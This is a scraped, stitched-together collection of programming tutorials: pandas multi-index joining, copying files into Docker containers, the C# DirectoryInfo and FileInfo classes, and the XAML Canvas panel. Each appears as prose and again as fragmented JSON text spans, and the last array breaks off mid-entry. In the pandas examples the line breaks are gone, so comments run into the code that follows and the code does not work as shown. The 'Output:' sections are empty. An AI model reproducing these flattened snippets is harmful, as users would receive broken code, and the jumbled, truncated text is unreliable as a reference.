# importing pandas moduleimport pandas as pd # importing numpy moduleimport numpy as np # Creating series data for address details# with same name with nested lists.index_values = pd.Series([['sravan', 'address1'], ['sravan', 'address2'], ['sravan', 'address3'], ['sravan', 'address4'], ['vani', 'address5'], ['vani', 'address6'], ['vani', 'address7'], ['vani', 'address8']]) # assigning values with integersdata = pd.Series(np.arange(1, 9), index=index_values) # display dataprint(data) # mapping with data using '_' symbol with joindata1 = data.index.map('_'.join) print(data1)
Output:
Example 4:
This code explains the college data with respect to address passed in a nested list separated by ‘/’ operator.
Python3
# importing pandas moduleimport pandas as pd # importing numpy moduleimport numpy as np # Creating series data for address details w.r.t# college names with same name with nested lists.index_values = pd.Series([['sravan', 'address1', 'vignan'], ['sravan', 'address2', 'vignan'], ['sravan', 'address3', 'vignan'], ['sravan', 'address4', 'vignan'], ['vani', 'address5', 'vignan lara'], ['vani', 'address6', 'vignan lara'], ['vani', 'address7', 'vignan lara'], ['vani', 'address8', 'vignan lara']]) # assigning values with integersdata = pd.Series(np.arange(1, 9), index=index_values) # display dataprint(data) # mapping with data using '/' symbol with joindata1 = data.index.map('/'.join) print(data1)
Output:
sagartomar9927
Picked
Python Pandas-exercise
Python pandas-series
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Python Dictionary
Enumerate() in Python
How to Install PIP on Windows ?
Different ways to create Pandas Dataframe
Python String | replace()
Create a Pandas DataFrame from Lists
Reading and Writing to text files in Python
sum() function in Python
*args and **kwargs in Python
How To Convert Python Dictionary To JSON?
|
[
{
"code": null,
"e": 24872,
"s": 24844,
"text": "\n14 Sep, 2021"
},
{
"code": null,
"e": 25037,
"s": 24872,
"text": "In this article, we will see how to concatenate multi-index to a single index in Pandas Series. Multi-index refers to having more than one index with the same name."
},
{
"code": null,
"e": 25061,
"s": 25037,
"text": "Create a sample series:"
},
{
"code": null,
"e": 25069,
"s": 25061,
"text": "Python3"
},
{
"code": "# importing pandas moduleimport pandas as pdimport numpy as np # Creating series data for address detailsindex_values = pd.Series([('sravan', 'address1'), ('sravan', 'address2'), ('sudheer', 'address1'), ('sudheer', 'address2')]) # assigning values with integersdata = pd.Series(np.arange(1, 5), index=index_values) # display dataprint(data)",
"e": 25502,
"s": 25069,
"text": null
},
{
"code": null,
"e": 25510,
"s": 25502,
"text": "Output:"
},
{
"code": null,
"e": 25625,
"s": 25510,
"text": "Joining two or more data is known as concatenation. Here we are going to concatenate the index using map function."
},
{
"code": null,
"e": 25633,
"s": 25625,
"text": "Syntax:"
},
{
"code": null,
"e": 25648,
"s": 25633,
"text": "map(fun, iter)"
},
{
"code": null,
"e": 25662,
"s": 25648,
"text": "fun: function"
},
{
"code": null,
"e": 25680,
"s": 25662,
"text": "iter: iterations."
},
{
"code": null,
"e": 25781,
"s": 25680,
"text": "Below are various examples that depict how to concatenate multi-index into a single index in Series:"
},
{
"code": null,
"e": 25792,
"s": 25781,
"text": "Example 1:"
},
{
"code": null,
"e": 25867,
"s": 25792,
"text": "This code explains the joining of addresses into one based on multi-index."
},
{
"code": null,
"e": 25875,
"s": 25867,
"text": "Python3"
},
{
"code": "# importing pandas moduleimport pandas as pd # Creating series data for address detailsindex_values = pd.Series([('sravan', 'address1'), ('sravan', 'address2'), ('sudheer', 'address1'), ('sudheer', 'address2')]) # assigning values with integersdata = pd.Series(np.arange(1, 5), index=index_values) # display dataprint(data) # mapping with data using '_' symbol with joindata1 = data.index.map('_'.join) print(data1)",
"e": 26366,
"s": 25875,
"text": null
},
{
"code": null,
"e": 26374,
"s": 26366,
"text": "Output:"
},
{
"code": null,
"e": 26385,
"s": 26374,
"text": "Example 2:"
},
{
"code": null,
"e": 26478,
"s": 26385,
"text": "This code is an example for all the given same name, but different values passed in a tuple."
},
{
"code": null,
"e": 26486,
"s": 26478,
"text": "Python3"
},
{
"code": "# importing pandas moduleimport pandas as pd # importing numpy moduleimport numpy as np # Creating series data for address details with same name.index_values = pd.Series([('sravan', 'address1'), ('sravan', 'address2'), ('sravan', 'address3'), ('sravan', 'address4')]) # assigning values with integersdata = pd.Series(np.arange(1, 5), index=index_values) # display dataprint(data) # mapping with data using '_' symbol with joindata1 = data.index.map('_'.join) print(data1)",
"e": 27050,
"s": 26486,
"text": null
},
{
"code": null,
"e": 27058,
"s": 27050,
"text": "Output:"
},
{
"code": null,
"e": 27070,
"s": 27058,
"text": "Example 3: "
},
{
"code": null,
"e": 27148,
"s": 27070,
"text": "This code gives a demo on multiple users given in nested list data structure."
},
{
"code": null,
"e": 27156,
"s": 27148,
"text": "Python3"
},
{
"code": "# importing pandas moduleimport pandas as pd # importing numpy moduleimport numpy as np # Creating series data for address details# with same name with nested lists.index_values = pd.Series([['sravan', 'address1'], ['sravan', 'address2'], ['sravan', 'address3'], ['sravan', 'address4'], ['vani', 'address5'], ['vani', 'address6'], ['vani', 'address7'], ['vani', 'address8']]) # assigning values with integersdata = pd.Series(np.arange(1, 9), index=index_values) # display dataprint(data) # mapping with data using '_' symbol with joindata1 = data.index.map('_'.join) print(data1)",
"e": 27927,
"s": 27156,
"text": null
},
{
"code": null,
"e": 27935,
"s": 27927,
"text": "Output:"
},
{
"code": null,
"e": 27946,
"s": 27935,
"text": "Example 4:"
},
{
"code": null,
"e": 28057,
"s": 27946,
"text": "This code explains the college data with respect to address passed in a nested list separated by ‘/’ operator."
},
{
"code": null,
"e": 28065,
"s": 28057,
"text": "Python3"
},
{
"code": "# importing pandas moduleimport pandas as pd # importing numpy moduleimport numpy as np # Creating series data for address details w.r.t# college names with same name with nested lists.index_values = pd.Series([['sravan', 'address1', 'vignan'], ['sravan', 'address2', 'vignan'], ['sravan', 'address3', 'vignan'], ['sravan', 'address4', 'vignan'], ['vani', 'address5', 'vignan lara'], ['vani', 'address6', 'vignan lara'], ['vani', 'address7', 'vignan lara'], ['vani', 'address8', 'vignan lara']]) # assigning values with integersdata = pd.Series(np.arange(1, 9), index=index_values) # display dataprint(data) # mapping with data using '/' symbol with joindata1 = data.index.map('/'.join) print(data1)",
"e": 28957,
"s": 28065,
"text": null
},
{
"code": null,
"e": 28965,
"s": 28957,
"text": "Output:"
},
{
"code": null,
"e": 28980,
"s": 28965,
"text": "sagartomar9927"
},
{
"code": null,
"e": 28987,
"s": 28980,
"text": "Picked"
},
{
"code": null,
"e": 29010,
"s": 28987,
"text": "Python Pandas-exercise"
},
{
"code": null,
"e": 29031,
"s": 29010,
"text": "Python pandas-series"
},
{
"code": null,
"e": 29045,
"s": 29031,
"text": "Python-pandas"
},
{
"code": null,
"e": 29052,
"s": 29045,
"text": "Python"
},
{
"code": null,
"e": 29150,
"s": 29052,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 29159,
"s": 29150,
"text": "Comments"
},
{
"code": null,
"e": 29172,
"s": 29159,
"text": "Old Comments"
},
{
"code": null,
"e": 29190,
"s": 29172,
"text": "Python Dictionary"
},
{
"code": null,
"e": 29212,
"s": 29190,
"text": "Enumerate() in Python"
},
{
"code": null,
"e": 29244,
"s": 29212,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 29286,
"s": 29244,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 29312,
"s": 29286,
"text": "Python String | replace()"
},
{
"code": null,
"e": 29349,
"s": 29312,
"text": "Create a Pandas DataFrame from Lists"
},
{
"code": null,
"e": 29393,
"s": 29349,
"text": "Reading and Writing to text files in Python"
},
{
"code": null,
"e": 29418,
"s": 29393,
"text": "sum() function in Python"
},
{
"code": null,
"e": 29447,
"s": 29418,
"text": "*args and **kwargs in Python"
}
] |
How to copy files from host to Docker container?
|
If you have a Docker container running and you want to copy files from the host machine to the Docker container, there are several ways to do it. One way to do this is by using the ADD or COPY instructions inside a Dockerfile and passing the paths of the files that you want to be in your container when you start it. But what happens if you already have a container running? It’s not feasible to build the same image again and again just for a small file to be included in it.
To avoid this fiasco, Docker allows us with several different methods and commands to copy files from the host machine to the container once we have created the container from the image. In this article, we will discuss different methods to do so. Let’s check out each of them.
The Docker cp command can be used to copy files and directories from the host machine to a container and vice-versa. To copy one single file from the host to container, you can use the command below.
$ docker cp file.txt container-name:/path/to/copy/file.txt
You can use the container ID as well. To find the name of the container or ID, you can list all the containers.
$ docker ps -a
If you want to copy multiple files from a folder in the host machine to the container, you can use the following command.
$ docker cp src/directory/. container-name:/target/directory/location
Another way to copy files from host to container is by mounting a directory from the host machine to the Docker container while creating the container. This way, you can copy any file or directory directly by copying the file to the mounted folder in the host machine. Let’s see how to do so.
$ docker run -d -v /path/to/directory/in/host:/mount --name=<container-name> <image name>
You can run this command in the host machine to run a container and use the -v option to mount a directory in the host machine to the container. Any file you copy in this directory will be accessible to the mounted directory inside the container.
Now, let’s try to access the bash of the container by running the bash command using the Docker exec command.
$ docker exec -it <container-name> bash
Now that you have access to the bash of the container, you can run the command below to copy the files.
$ cp /mnt/sourcefile /path/to/destfile
Another fairly simple way of copying the files while creating the container is by using the cat command as an argument to the Docker run command.
$ docker run -i ubuntu /bin/bash -c 'cat > filetobecopied' < filetobecopied
If you already have a Docker container running, you can use the Docker exec command with the same cat command.
$ docker exec -it <container-name> bash -c 'cat > /path/to/docker-container/file.txt' <
/path/to/host-machine/file.txt
You can also use the tar command to convert the file into tarball file and pipe it with the Docker exec command. The command below copied the file.txt file to the /usr directory inside the container.
$ tar -c file.txt | docker exec -i docker-container /bin/tar -C /usr -x
To sum up, in this article, we discussed 4 different methods to copy files from the host machine to the Docker container. We saw how to copy files from the host to a running container as well as a container that has not even been created. We used tools such as Docker cp, Docker exec, etc. to achieve this task. The best possible way is to use the traditional Docker cp command. Based on your requirements and use-case, you can choose the best possible way to copy the files.
|
[
{
"code": null,
"e": 1540,
"s": 1062,
"text": "If you have a Docker container running and you want to copy files from the host machine to the Docker container, there are several ways to do it. One way to do this is by using the ADD or COPY instructions inside a Dockerfile and passing the paths of the files that you want to be in your container when you start it. But what happens if you already have a container running? It’s not feasible to build the same image again and again just for a small file to be included in it."
},
{
"code": null,
"e": 1818,
"s": 1540,
"text": "To avoid this fiasco, Docker allows us with several different methods and commands to copy files from the host machine to the container once we have created the container from the image. In this article, we will discuss different methods to do so. Let’s check out each of them."
},
{
"code": null,
"e": 2018,
"s": 1818,
"text": "The Docker cp command can be used to copy files and directories from the host machine to a container and vice-versa. To copy one single file from the host to container, you can use the command below."
},
{
"code": null,
"e": 2077,
"s": 2018,
"text": "$ docker cp file.txt container-name:/path/to/copy/file.txt"
},
{
"code": null,
"e": 2189,
"s": 2077,
"text": "You can use the container ID as well. To find the name of the container or ID, you can list all the containers."
},
{
"code": null,
"e": 2204,
"s": 2189,
"text": "$ docker ps -a"
},
{
"code": null,
"e": 2326,
"s": 2204,
"text": "If you want to copy multiple files from a folder in the host machine to the container, you can use the following command."
},
{
"code": null,
"e": 2396,
"s": 2326,
"text": "$ docker cp src/directory/. container-name:/target/directory/location"
},
{
"code": null,
"e": 2689,
"s": 2396,
"text": "Another way to copy files from host to container is by mounting a directory from the host machine to the Docker container while creating the container. This way, you can copy any file or directory directly by copying the file to the mounted folder in the host machine. Let’s see how to do so."
},
{
"code": null,
"e": 2780,
"s": 2689,
"text": "$ docker run -d -v /path/to/directory/in/host:/mount --name=<container-name> <image name>\n"
},
{
"code": null,
"e": 3027,
"s": 2780,
"text": "You can run this command in the host machine to run a container and use the -v option to mount a directory in the host machine to the container. Any file you copy in this directory will be accessible to the mounted directory inside the container."
},
{
"code": null,
"e": 3137,
"s": 3027,
"text": "Now, let’s try to access the bash of the container by running the bash command using the Docker exec command."
},
{
"code": null,
"e": 3177,
"s": 3137,
"text": "$ docker exec -it <container-name> bash"
},
{
"code": null,
"e": 3281,
"s": 3177,
"text": "Now that you have access to the bash of the container, you can run the command below to copy the files."
},
{
"code": null,
"e": 3320,
"s": 3281,
"text": "$ cp /mnt/sourcefile /path/to/destfile"
},
{
"code": null,
"e": 3466,
"s": 3320,
"text": "Another fairly simple way of copying the files while creating the container is by using the cat command as an argument to the Docker run command."
},
{
"code": null,
"e": 3542,
"s": 3466,
"text": "$ docker run -i ubuntu /bin/bash -c 'cat > filetobecopied' < filetobecopied"
},
{
"code": null,
"e": 3653,
"s": 3542,
"text": "If you already have a Docker container running, you can use the Docker exec command with the same cat command."
},
{
"code": null,
"e": 3772,
"s": 3653,
"text": "$ docker exec -it <container-name> bash -c 'cat > /path/to/docker-container/file.txt' <\n/path/to/host-machine/file.txt"
},
{
"code": null,
"e": 3972,
"s": 3772,
"text": "You can also use the tar command to convert the file into tarball file and pipe it with the Docker exec command. The command below copied the file.txt file to the /usr directory inside the container."
},
{
"code": null,
"e": 4044,
"s": 3972,
"text": "$ tar -c file.txt | docker exec -i docker-container /bin/tar -C /usr -x"
},
{
"code": null,
"e": 4520,
"s": 4044,
"text": "To sum up, in this article, we discussed 4 different methods to copy files from the host machine to the Docker container. We saw how to copy files from the host to a running container as well as a container that has not even been created. We used tools such as Docker cp, Docker exec, etc. to achieve this task. The best possible way is to use the traditional Docker cp command. Based on your requirements and use-case, you can choose the best possible way to copy the files."
}
] |
C# - Windows File System
|
C# allows you to work with the directories and files using various directory and file related classes such as the DirectoryInfo class and the FileInfo class.
The DirectoryInfo class is derived from the FileSystemInfo class. It has various methods for creating, moving, and browsing through directories and subdirectories. This class cannot be inherited.
Following are some commonly used properties of the DirectoryInfo class −
Attributes
Gets the attributes for the current file or directory.
CreationTime
Gets the creation time of the current file or directory.
Exists
Gets a Boolean value indicating whether the directory exists.
Extension
Gets the string representing the file extension.
FullName
Gets the full path of the directory or file.
LastAccessTime
Gets the time the current file or directory was last accessed.
Name
Gets the name of this DirectoryInfo instance.
Following are some commonly used methods of the DirectoryInfo class −
public void Create()
Creates a directory.
public DirectoryInfo CreateSubdirectory(string path)
Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the DirectoryInfo class.
public override void Delete()
Deletes this DirectoryInfo if it is empty.
public DirectoryInfo[] GetDirectories()
Returns the subdirectories of the current directory.
public FileInfo[] GetFiles()
Returns a file list from the current directory.
For a complete list of properties and methods, please visit Microsoft's C# documentation.
The FileInfo class is derived from the FileSystemInfo class. It has properties and instance methods for creating, copying, deleting, moving, and opening of files, and helps in the creation of FileStream objects. This class cannot be inherited.
Following are some commonly used properties of the FileInfo class −
Attributes
Gets the attributes for the current file.
CreationTime
Gets the creation time of the current file.
Directory
Gets an instance of the directory which the file belongs to.
Exists
Gets a Boolean value indicating whether the file exists.
Extension
Gets the string representing the file extension.
FullName
Gets the full path of the file.
LastAccessTime
Gets the time the current file was last accessed.
LastWriteTime
Gets the time of the last written activity of the file.
Length
Gets the size, in bytes, of the current file.
Name
Gets the name of the file.
Following are some commonly used methods of the FileInfo class −
public StreamWriter AppendText()
Creates a StreamWriter that appends text to the file represented by this instance of the FileInfo.
public FileStream Create()
Creates a file.
public override void Delete()
Deletes a file permanently.
public void MoveTo(string destFileName)
Moves a specified file to a new location, providing the option to specify a new file name.
public FileStream Open(FileMode mode)
Opens a file in the specified mode.
public FileStream Open(FileMode mode, FileAccess access)
Opens a file in the specified mode with read, write, or read/write access.
public FileStream Open(FileMode mode, FileAccess access, FileShare share)
Opens a file in the specified mode with read, write, or read/write access and the specified sharing option.
public FileStream OpenRead()
Creates a read-only FileStream
public FileStream OpenWrite()
Creates a write-only FileStream.
For complete list of properties and methods, please visit Microsoft's C# documentation.
The following example demonstrates the use of the above-mentioned classes −
using System;
using System.IO;
namespace WindowsFileApplication {
class Program {
static void Main(string[] args) {
//creating a DirectoryInfo object
DirectoryInfo mydir = new DirectoryInfo(@"c:\Windows");
// getting the files in the directory, their names and size
FileInfo [] f = mydir.GetFiles();
foreach (FileInfo file in f) {
Console.WriteLine("File Name: {0} Size: {1}", file.Name, file.Length);
}
Console.ReadKey();
}
}
}
When you compile and run the program, it displays the names of files and their respective sizes in the Windows directory.
119 Lectures
23.5 hours
Raja Biswas
37 Lectures
13 hours
Trevoir Williams
16 Lectures
1 hours
Peter Jepson
159 Lectures
21.5 hours
Ebenezer Ogbu
193 Lectures
17 hours
Arnold Higuit
24 Lectures
2.5 hours
Eric Frick
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2428,
"s": 2270,
"text": "C# allows you to work with the directories and files using various directory and file related classes such as the DirectoryInfo class and the FileInfo class."
},
{
"code": null,
"e": 2624,
"s": 2428,
"text": "The DirectoryInfo class is derived from the FileSystemInfo class. It has various methods for creating, moving, and browsing through directories and subdirectories. This class cannot be inherited."
},
{
"code": null,
"e": 2697,
"s": 2624,
"text": "Following are some commonly used properties of the DirectoryInfo class −"
},
{
"code": null,
"e": 2708,
"s": 2697,
"text": "Attributes"
},
{
"code": null,
"e": 2763,
"s": 2708,
"text": "Gets the attributes for the current file or directory."
},
{
"code": null,
"e": 2776,
"s": 2763,
"text": "CreationTime"
},
{
"code": null,
"e": 2833,
"s": 2776,
"text": "Gets the creation time of the current file or directory."
},
{
"code": null,
"e": 2840,
"s": 2833,
"text": "Exists"
},
{
"code": null,
"e": 2902,
"s": 2840,
"text": "Gets a Boolean value indicating whether the directory exists."
},
{
"code": null,
"e": 2912,
"s": 2902,
"text": "Extension"
},
{
"code": null,
"e": 2961,
"s": 2912,
"text": "Gets the string representing the file extension."
},
{
"code": null,
"e": 2970,
"s": 2961,
"text": "FullName"
},
{
"code": null,
"e": 3015,
"s": 2970,
"text": "Gets the full path of the directory or file."
},
{
"code": null,
"e": 3030,
"s": 3015,
"text": "LastAccessTime"
},
{
"code": null,
"e": 3093,
"s": 3030,
"text": "Gets the time the current file or directory was last accessed."
},
{
"code": null,
"e": 3098,
"s": 3093,
"text": "Name"
},
{
"code": null,
"e": 3144,
"s": 3098,
"text": "Gets the name of this DirectoryInfo instance."
},
{
"code": null,
"e": 3214,
"s": 3144,
"text": "Following are some commonly used methods of the DirectoryInfo class −"
},
{
"code": null,
"e": 3235,
"s": 3214,
"text": "public void Create()"
},
{
"code": null,
"e": 3256,
"s": 3235,
"text": "Creates a directory."
},
{
"code": null,
"e": 3309,
"s": 3256,
"text": "public DirectoryInfo CreateSubdirectory(string path)"
},
{
"code": null,
"e": 3453,
"s": 3309,
"text": "Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the DirectoryInfo class."
},
{
"code": null,
"e": 3483,
"s": 3453,
"text": "public override void Delete()"
},
{
"code": null,
"e": 3526,
"s": 3483,
"text": "Deletes this DirectoryInfo if it is empty."
},
{
"code": null,
"e": 3566,
"s": 3526,
"text": "public DirectoryInfo[] GetDirectories()"
},
{
"code": null,
"e": 3619,
"s": 3566,
"text": "Returns the subdirectories of the current directory."
},
{
"code": null,
"e": 3648,
"s": 3619,
"text": "public FileInfo[] GetFiles()"
},
{
"code": null,
"e": 3696,
"s": 3648,
"text": "Returns a file list from the current directory."
},
{
"code": null,
"e": 3786,
"s": 3696,
"text": "For a complete list of properties and methods, please visit Microsoft's C# documentation."
},
{
"code": null,
"e": 4030,
"s": 3786,
"text": "The FileInfo class is derived from the FileSystemInfo class. It has properties and instance methods for creating, copying, deleting, moving, and opening of files, and helps in the creation of FileStream objects. This class cannot be inherited."
},
{
"code": null,
"e": 4098,
"s": 4030,
"text": "Following are some commonly used properties of the FileInfo class −"
},
{
"code": null,
"e": 4109,
"s": 4098,
"text": "Attributes"
},
{
"code": null,
"e": 4151,
"s": 4109,
"text": "Gets the attributes for the current file."
},
{
"code": null,
"e": 4164,
"s": 4151,
"text": "CreationTime"
},
{
"code": null,
"e": 4208,
"s": 4164,
"text": "Gets the creation time of the current file."
},
{
"code": null,
"e": 4218,
"s": 4208,
"text": "Directory"
},
{
"code": null,
"e": 4279,
"s": 4218,
"text": "Gets an instance of the directory which the file belongs to."
},
{
"code": null,
"e": 4286,
"s": 4279,
"text": "Exists"
},
{
"code": null,
"e": 4343,
"s": 4286,
"text": "Gets a Boolean value indicating whether the file exists."
},
{
"code": null,
"e": 4353,
"s": 4343,
"text": "Extension"
},
{
"code": null,
"e": 4402,
"s": 4353,
"text": "Gets the string representing the file extension."
},
{
"code": null,
"e": 4411,
"s": 4402,
"text": "FullName"
},
{
"code": null,
"e": 4443,
"s": 4411,
"text": "Gets the full path of the file."
},
{
"code": null,
"e": 4458,
"s": 4443,
"text": "LastAccessTime"
},
{
"code": null,
"e": 4508,
"s": 4458,
"text": "Gets the time the current file was last accessed."
},
{
"code": null,
"e": 4522,
"s": 4508,
"text": "LastWriteTime"
},
{
"code": null,
"e": 4578,
"s": 4522,
"text": "Gets the time of the last written activity of the file."
},
{
"code": null,
"e": 4585,
"s": 4578,
"text": "Length"
},
{
"code": null,
"e": 4631,
"s": 4585,
"text": "Gets the size, in bytes, of the current file."
},
{
"code": null,
"e": 4636,
"s": 4631,
"text": "Name"
},
{
"code": null,
"e": 4663,
"s": 4636,
"text": "Gets the name of the file."
},
{
"code": null,
"e": 4728,
"s": 4663,
"text": "Following are some commonly used methods of the FileInfo class −"
},
{
"code": null,
"e": 4761,
"s": 4728,
"text": "public StreamWriter AppendText()"
},
{
"code": null,
"e": 4860,
"s": 4761,
"text": "Creates a StreamWriter that appends text to the file represented by this instance of the FileInfo."
},
{
"code": null,
"e": 4887,
"s": 4860,
"text": "public FileStream Create()"
},
{
"code": null,
"e": 4903,
"s": 4887,
"text": "Creates a file."
},
{
"code": null,
"e": 4933,
"s": 4903,
"text": "public override void Delete()"
},
{
"code": null,
"e": 4961,
"s": 4933,
"text": "Deletes a file permanently."
},
{
"code": null,
"e": 5001,
"s": 4961,
"text": "public void MoveTo(string destFileName)"
},
{
"code": null,
"e": 5092,
"s": 5001,
"text": "Moves a specified file to a new location, providing the option to specify a new file name."
},
{
"code": null,
"e": 5130,
"s": 5092,
"text": "public FileStream Open(FileMode mode)"
},
{
"code": null,
"e": 5166,
"s": 5130,
"text": "Opens a file in the specified mode."
},
{
"code": null,
"e": 5223,
"s": 5166,
"text": "public FileStream Open(FileMode mode, FileAccess access)"
},
{
"code": null,
"e": 5298,
"s": 5223,
"text": "Opens a file in the specified mode with read, write, or read/write access."
},
{
"code": null,
"e": 5372,
"s": 5298,
"text": "public FileStream Open(FileMode mode, FileAccess access, FileShare share)"
},
{
"code": null,
"e": 5480,
"s": 5372,
"text": "Opens a file in the specified mode with read, write, or read/write access and the specified sharing option."
},
{
"code": null,
"e": 5509,
"s": 5480,
"text": "public FileStream OpenRead()"
},
{
"code": null,
"e": 5540,
"s": 5509,
"text": "Creates a read-only FileStream"
},
{
"code": null,
"e": 5570,
"s": 5540,
"text": "public FileStream OpenWrite()"
},
{
"code": null,
"e": 5603,
"s": 5570,
"text": "Creates a write-only FileStream."
},
{
"code": null,
"e": 5691,
"s": 5603,
"text": "For complete list of properties and methods, please visit Microsoft's C# documentation."
},
{
"code": null,
"e": 5767,
"s": 5691,
"text": "The following example demonstrates the use of the above-mentioned classes −"
},
{
"code": null,
"e": 6310,
"s": 5767,
"text": "using System;\nusing System.IO;\n\nnamespace WindowsFileApplication {\n class Program {\n static void Main(string[] args) {\n //creating a DirectoryInfo object\n DirectoryInfo mydir = new DirectoryInfo(@\"c:\\Windows\");\n \n // getting the files in the directory, their names and size\n FileInfo [] f = mydir.GetFiles();\n foreach (FileInfo file in f) {\n Console.WriteLine(\"File Name: {0} Size: {1}\", file.Name, file.Length);\n }\n \n Console.ReadKey();\n }\n }\n}"
},
{
"code": null,
"e": 6433,
"s": 6310,
"text": "When you compile and run the program, it displays the names of files and their respective sizes in the Windows directory."
},
{
"code": null,
"e": 6470,
"s": 6433,
"text": "\n 119 Lectures \n 23.5 hours \n"
},
{
"code": null,
"e": 6483,
"s": 6470,
"text": " Raja Biswas"
},
{
"code": null,
"e": 6517,
"s": 6483,
"text": "\n 37 Lectures \n 13 hours \n"
},
{
"code": null,
"e": 6535,
"s": 6517,
"text": " Trevoir Williams"
},
{
"code": null,
"e": 6568,
"s": 6535,
"text": "\n 16 Lectures \n 1 hours \n"
},
{
"code": null,
"e": 6582,
"s": 6568,
"text": " Peter Jepson"
},
{
"code": null,
"e": 6619,
"s": 6582,
"text": "\n 159 Lectures \n 21.5 hours \n"
},
{
"code": null,
"e": 6634,
"s": 6619,
"text": " Ebenezer Ogbu"
},
{
"code": null,
"e": 6669,
"s": 6634,
"text": "\n 193 Lectures \n 17 hours \n"
},
{
"code": null,
"e": 6684,
"s": 6669,
"text": " Arnold Higuit"
},
{
"code": null,
"e": 6719,
"s": 6684,
"text": "\n 24 Lectures \n 2.5 hours \n"
},
{
"code": null,
"e": 6731,
"s": 6719,
"text": " Eric Frick"
},
{
"code": null,
"e": 6738,
"s": 6731,
"text": " Print"
},
{
"code": null,
"e": 6749,
"s": 6738,
"text": " Add Notes"
}
] |
XAML - CanvasPanel
|
Canvas panel is the basic layout panel in which child elements can be positioned explicitly using coordinates that are relative to the Canvas any side such as left, right, top, and bottom.
A Canvas is typically used for 2D graphic elements (such as Ellipse, Rectangle, etc.), but not for UI elements because specifying absolute coordinates creates trouble while resizing, localizing, or scaling the XAML application.
The hierarchical inheritance of Canvas class is as follows −
Background
Gets or sets a Brush that fills the panel content area. (Inherited from Panel)
Children
Gets a UIElementCollection of child elements of this Panel. (Inherited from Panel.)
Height
Gets or sets the suggested height of the element. (Inherited from FrameworkElement.)
ItemHeight
Gets or sets a value that specifies the height of all items that are contained within a WrapPanel.
ItemWidth
Gets or sets a value that specifies the width of all items that are contained within a WrapPanel.
LogicalChildren
Gets an enumerator that can iterate the logical child elements of this Panel element. (Inherited from Panel.)
LogicalOrientation
The Orientation of the panel, if the panel supports layout in only a single dimension. (Inherited sfrom Panel.)
LeftProperty
Identifies the Canvas. Left XAML attached property.
Margin
Gets or sets the outer margin of an element. (Inherited from FrameworkElement.)
Name
Gets or sets the identifying name of the element. The name provides a reference so that code-behind, such as event handler code, can refer to a markup element after it is constructed during processing by a XAML processor. (Inherited from FrameworkElement.)
Orientation
Gets or sets a value that specifies the dimension in which child content is arranged.
Parent
Gets the logical parent element of this element. (Inherited from FrameworkElement.)
Resources
Gets or sets the locally-defined resource dictionary. (Inherited from FrameworkElement.)
Style
Gets or sets the style used by this element when it is rendered. (Inherited from FrameworkElement.)
TopProperty
Identifies the Canvas. Top XAML attached property.
Width
Gets or sets the width of the element. (Inherited from FrameworkElement.)
ZIndexProperty
Identifies the Canvas. ZIndex XAML attached property.
GetLeft
Gets the value of the Canvas. Left XAML attached property for the target element.
GetTop
Gets the value of the Canvas. Top XAML attached property for the target element.
GetZIndex
Gets the value of the Canvas. ZIndex XAML attached property for the target element.
SetLeft
Sets the value of the Canvas. Left XAML attached property for a target element.
SetTop
Sets the value of the Canvas. Top XAML attached property for a target element.
SetZIndex
Sets the value of the Canvas. ZIndex XAML attached property for a target element.
The following example shows how to add child elements into a Canvas. Here is the XAML implementation in which Rectangles are created inside a Canvas with different offset properties.
<Window x:Class = "XAMLCanvas.Window1"
xmlns = "http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x = "http://schemas.microsoft.com/winfx/2006/xaml"
Title = "MainWindow" Height = "400" Width = "604">
<Grid>
<Canvas Width = "580" Height = "360" >
<Rectangle Canvas.Left = "30" Canvas.Top = "30" Fill = "Red" Width = "70" Height = "40" />
<Rectangle Canvas.Right = "30" Canvas.Top = "30" Fill = "Blue" Width = "70" Height = "40" />
<Rectangle Canvas.Left = "30" Canvas.Bottom = "30" Fill = "Gainsboro" Width = "70" Height = "40" />
<Rectangle Canvas.Right = "30" Canvas.Bottom = "30" Fill = "SaddleBrown" Width = "70" Height = "40" />
</Canvas>
</Grid>
</Window>
When you compile and execute the above code, it will produce the following output −
We recommend you to execute the above example code and experiment with some other properties as well.
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2112,
"s": 1923,
"text": "Canvas panel is the basic layout panel in which child elements can be positioned explicitly using coordinates that are relative to the Canvas any side such as left, right, top, and bottom."
},
{
"code": null,
"e": 2340,
"s": 2112,
"text": "A Canvas is typically used for 2D graphic elements (such as Ellipse, Rectangle, etc.), but not for UI elements because specifying absolute coordinates creates trouble while resizing, localizing, or scaling the XAML application."
},
{
"code": null,
"e": 2401,
"s": 2340,
"text": "The hierarchical inheritance of Canvas class is as follows −"
},
{
"code": null,
"e": 2412,
"s": 2401,
"text": "Background"
},
{
"code": null,
"e": 2491,
"s": 2412,
"text": "Gets or sets a Brush that fills the panel content area. (Inherited from Panel)"
},
{
"code": null,
"e": 2500,
"s": 2491,
"text": "Children"
},
{
"code": null,
"e": 2584,
"s": 2500,
"text": "Gets a UIElementCollection of child elements of this Panel. (Inherited from Panel.)"
},
{
"code": null,
"e": 2591,
"s": 2584,
"text": "Height"
},
{
"code": null,
"e": 2676,
"s": 2591,
"text": "Gets or sets the suggested height of the element. (Inherited from FrameworkElement.)"
},
{
"code": null,
"e": 2687,
"s": 2676,
"text": "ItemHeight"
},
{
"code": null,
"e": 2786,
"s": 2687,
"text": "Gets or sets a value that specifies the height of all items that are contained within a WrapPanel."
},
{
"code": null,
"e": 2796,
"s": 2786,
"text": "ItemWidth"
},
{
"code": null,
"e": 2894,
"s": 2796,
"text": "Gets or sets a value that specifies the width of all items that are contained within a WrapPanel."
},
{
"code": null,
"e": 2910,
"s": 2894,
"text": "LogicalChildren"
},
{
"code": null,
"e": 3020,
"s": 2910,
"text": "Gets an enumerator that can iterate the logical child elements of this Panel element. (Inherited from Panel.)"
},
{
"code": null,
"e": 3039,
"s": 3020,
"text": "LogicalOrientation"
},
{
"code": null,
"e": 3151,
"s": 3039,
"text": "The Orientation of the panel, if the panel supports layout in only a single dimension. (Inherited sfrom Panel.)"
},
{
"code": null,
"e": 3164,
"s": 3151,
